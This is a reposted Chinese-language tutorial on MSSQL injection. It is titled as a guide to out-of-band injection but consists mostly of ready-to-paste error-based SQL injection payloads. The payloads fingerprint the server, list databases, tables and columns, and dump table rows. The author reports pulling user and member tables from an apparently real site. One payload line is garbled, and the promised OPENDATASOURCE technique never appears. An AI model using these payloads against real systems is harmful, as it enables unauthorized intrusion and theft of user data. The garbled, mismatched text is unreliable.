MSSQL注入--反彈注入


  明明是sql注入的點,卻無法進行注入,注射工具拆解的速度異常的緩慢,錯誤提示信息關閉,無法返回注入的結果,這個時候你便可以嘗試使用反彈注入,

反彈注入需要依賴於函數opendatasource的支持,將當前數據庫中的查詢結果發送到另一數據庫服務器中。

判斷數據庫類型

and exists (select * from sysobjects)--返回正常為mssql(也名sql server)
and exists (select count(*) from sysobjects)--有時上面那個語句不行就試試這個哈

判斷數據庫版本

and 1=@@version--這個語句要在有回顯的模式下才可以哦
and substring((select @@version),22,4)='2008'--適用於無回顯模式,后面的2008就是數據庫版本,返回正常就是2008的復制代碼第一條語句執行效果圖(類似):第二條語句執行效果圖:(如果是2008的話就返回正常)

獲取所有數據庫的個數 

1. and 1=(select quotename(count(name)) from master..sysdatabases)--
2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
3. and 1=(select str(coun、 and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--
and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
說明:dbid從1-4的數據庫一般為系統數據庫.

獲取數據庫 (該語句是一次性獲取全部數據庫的,且語句只適合>=2005,兩條語句可供選擇使用)

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

獲取當前數據庫

and db_name()>0

and 1=(select db_name())--

獲取當前數據庫中的表(有2個語句可供選擇使用)

【下列語句可一次爆數據庫所有表(只限於mssql2005及以上版本)】

and 1=(select quotename(name) from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--復制代碼測試效果圖:得到 3個敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup

獲得表里的列

一次爆指定表的所有列(只限於mssql2005及以上版本):
and 1=(select quotename(name) from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--

效果圖:既然有賬戶信息,我就不管是不是管理員的的了,我帖子的目的不是為了得到管理員的信息,只是為了演示可以通過這個方法來獲取相關信息。

獲取指定數據庫中的表的列的數據庫

逐條爆指定表的所有字段的數據(只限於mssql2005及以上版本):
and 1=(select top 1 * from 指定數據庫..指定表名 where排除條件 FOR XML PATH(''))--
一次性爆N條所有字段的數據(只限於mssql2005及以上版本):
and 1=(select top N * from 指定數據庫..指定表名 FOR XML PATH(''))--復制代碼第一條語句:and 1=(select top 1 * from 指定數據庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結果出來會更加好,如:where and name like '%user%' 就會篩選出含有user關鍵詞的出來。用在篩選表段時很不錯。

注意:在使用一次獲取數據庫信息的語句時,請使用火狐瀏覽器,筆者測試 IE8、360急速瀏覽器、獵豹瀏覽器均卡死,火狐瀏覽器也會導致出現幾秒鍾的卡死,彈出框框,我們點擊“停止腳本”就會得到初步解決。!!!!!!!!!!!!!!!!!!!!至此,我們已經得到了賬戶信息了,至於管理員的呢,哈哈,大家自行測試時換表啥的就好了。

轉載自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM